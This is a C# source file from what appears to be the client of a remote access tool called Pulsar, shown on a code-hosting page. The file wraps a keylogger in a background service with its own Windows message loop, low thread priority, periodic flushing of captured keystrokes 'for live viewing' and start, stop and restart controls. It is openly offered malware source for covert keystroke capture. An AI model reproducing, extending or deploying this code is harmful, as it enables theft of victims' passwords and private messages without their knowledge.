Files
PulsarK-main/Pulsar.Client/Logging/KeyloggerService.cs
T
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

289 lines
8.6 KiB
C#

using System;
using System.ComponentModel;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Pulsar.Client.Logging
{
/// <summary>
/// Provides a service to run the keylogger within its own message loop.
/// </summary>
public class KeyloggerService : IDisposable
{
private readonly Thread _msgLoopThread;
private ApplicationContext _msgLoop;
private Keylogger _keylogger;
private readonly ManualResetEventSlim _initialized = new ManualResetEventSlim(false);
private readonly ManualResetEventSlim _shutdownComplete = new ManualResetEventSlim(false);
private readonly CancellationTokenSource _cancellationTokenSource = new CancellationTokenSource();
private bool _disposed;
private volatile bool _isRunning;
public KeyloggerService()
{
_msgLoopThread = new Thread(MessageLoopThread)
{
IsBackground = true,
Name = "Keylogger Message Loop Thread",
Priority = ThreadPriority.BelowNormal // Reduce impact on system
};
}
/// <summary>
/// Gets whether the keylogger service is currently running.
/// </summary>
public bool IsRunning => _isRunning && !_disposed;
/// <summary>
/// Event raised when the keylogger service encounters an error.
/// </summary>
public event EventHandler<Exception> ErrorOccurred;
/// <summary>
/// Event raised when the keylogger service starts successfully.
/// </summary>
public event EventHandler Started;
/// <summary>
/// Event raised when the keylogger service stops.
/// </summary>
public event EventHandler Stopped;
private void MessageLoopThread()
{
var threadId = Thread.CurrentThread.ManagedThreadId;
try
{
// Set up the message loop
SynchronizationContext.SetSynchronizationContext(new WindowsFormsSynchronizationContext());
_msgLoop = new ApplicationContext();
// OPTIMIZED: 3-second flush for live viewing + 10MB file size
_keylogger = new Keylogger(6000, 10 * 1024 * 1024);
_keylogger.Start();
_isRunning = true;
_initialized.Set();
// Notify start
OnStarted();
// Run the message loop with cancellation support
RunMessageLoopWithCancellation();
_isRunning = false;
OnStopped();
}
catch (Exception ex)
{
_isRunning = false;
OnErrorOccurred(ex);
}
finally
{
_shutdownComplete.Set();
}
}
private void RunMessageLoopWithCancellation()
{
while (!_cancellationTokenSource.Token.IsCancellationRequested)
{
// Process all Windows messages in the queue
Application.DoEvents();
// OPTIMIZED: 25ms sleep for better CPU usage
//Thread.Sleep(25);
}
// Properly exit the application context
_msgLoop?.ExitThread();
}
/// <summary>
/// Starts the keylogger service and waits until it's ready.
/// </summary>
/// <param name="timeoutMs">Timeout in milliseconds to wait for initialization</param>
/// <returns>True if started successfully, false if timed out</returns>
public bool Start(int timeoutMs = 10000)
{
if (_disposed)
throw new ObjectDisposedException(nameof(KeyloggerService));
if (_isRunning)
return true;
if (!_msgLoopThread.IsAlive)
{
_msgLoopThread.Start();
if (_initialized.Wait(timeoutMs))
{
return _isRunning;
}
else
{
throw new TimeoutException("Keylogger service failed to initialize within the specified timeout.");
}
}
return _isRunning;
}
/// <summary>
/// Starts the keylogger service asynchronously.
/// </summary>
public async Task<bool> StartAsync(int timeoutMs = 10000)
{
return await Task.Run(() => Start(timeoutMs));
}
/// <summary>
/// Stops the keylogger service.
/// </summary>
/// <param name="timeoutMs">Timeout in milliseconds to wait for shutdown</param>
/// <returns>True if stopped successfully, false if timed out</returns>
public bool Stop(int timeoutMs = 5000)
{
if (_disposed || !_isRunning)
return true;
try
{
_cancellationTokenSource.Cancel();
// Signal the message loop to exit
_msgLoop?.ExitThread();
if (_shutdownComplete.Wait(timeoutMs))
{
return true;
}
else
{
OnErrorOccurred(new TimeoutException("Keylogger service failed to stop within the specified timeout."));
return false;
}
}
catch (Exception ex)
{
OnErrorOccurred(ex);
return false;
}
}
/// <summary>
/// Forces an immediate flush of the keylogger buffer.
/// </summary>
public void Flush()
{
if (_isRunning && _keylogger != null)
{
try
{
// Use Invoke if we're on a different thread
if (_msgLoop != null && _msgLoop.MainForm != null && !_msgLoop.MainForm.InvokeRequired)
{
_keylogger.FlushImmediately();
}
else
{
_msgLoop?.MainForm?.Invoke((MethodInvoker)(() => _keylogger.FlushImmediately()));
}
}
catch (Exception ex)
{
OnErrorOccurred(ex);
}
}
}
/// <summary>
/// Restarts the keylogger service.
/// </summary>
public async Task<bool> RestartAsync(int shutdownTimeoutMs = 5000, int startupTimeoutMs = 10000)
{
if (Stop(shutdownTimeoutMs))
{
// Small delay to ensure clean shutdown
await Task.Delay(1000);
return await StartAsync(startupTimeoutMs);
}
return false;
}
protected virtual void OnErrorOccurred(Exception ex)
{
ErrorOccurred?.Invoke(this, ex);
}
protected virtual void OnStarted()
{
Started?.Invoke(this, EventArgs.Empty);
}
protected virtual void OnStopped()
{
Stopped?.Invoke(this, EventArgs.Empty);
}
protected virtual void Dispose(bool disposing)
{
if (_disposed)
return;
if (disposing)
{
// Signal cancellation first
_cancellationTokenSource.Cancel();
try
{
// Stop the service if it's running
if (_isRunning)
{
Stop(3000);
}
// Wait for thread to complete
if (_msgLoopThread.IsAlive && !_msgLoopThread.Join(2000))
{
_msgLoopThread.Interrupt();
}
}
catch (Exception ex)
{
OnErrorOccurred(ex);
}
finally
{
// Dispose resources
_keylogger?.Dispose();
_keylogger = null;
_msgLoop?.Dispose();
_msgLoop = null;
_cancellationTokenSource?.Dispose();
_initialized?.Dispose();
_shutdownComplete?.Dispose();
}
}
_disposed = true;
}
~KeyloggerService()
{
Dispose(false);
}
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
}
}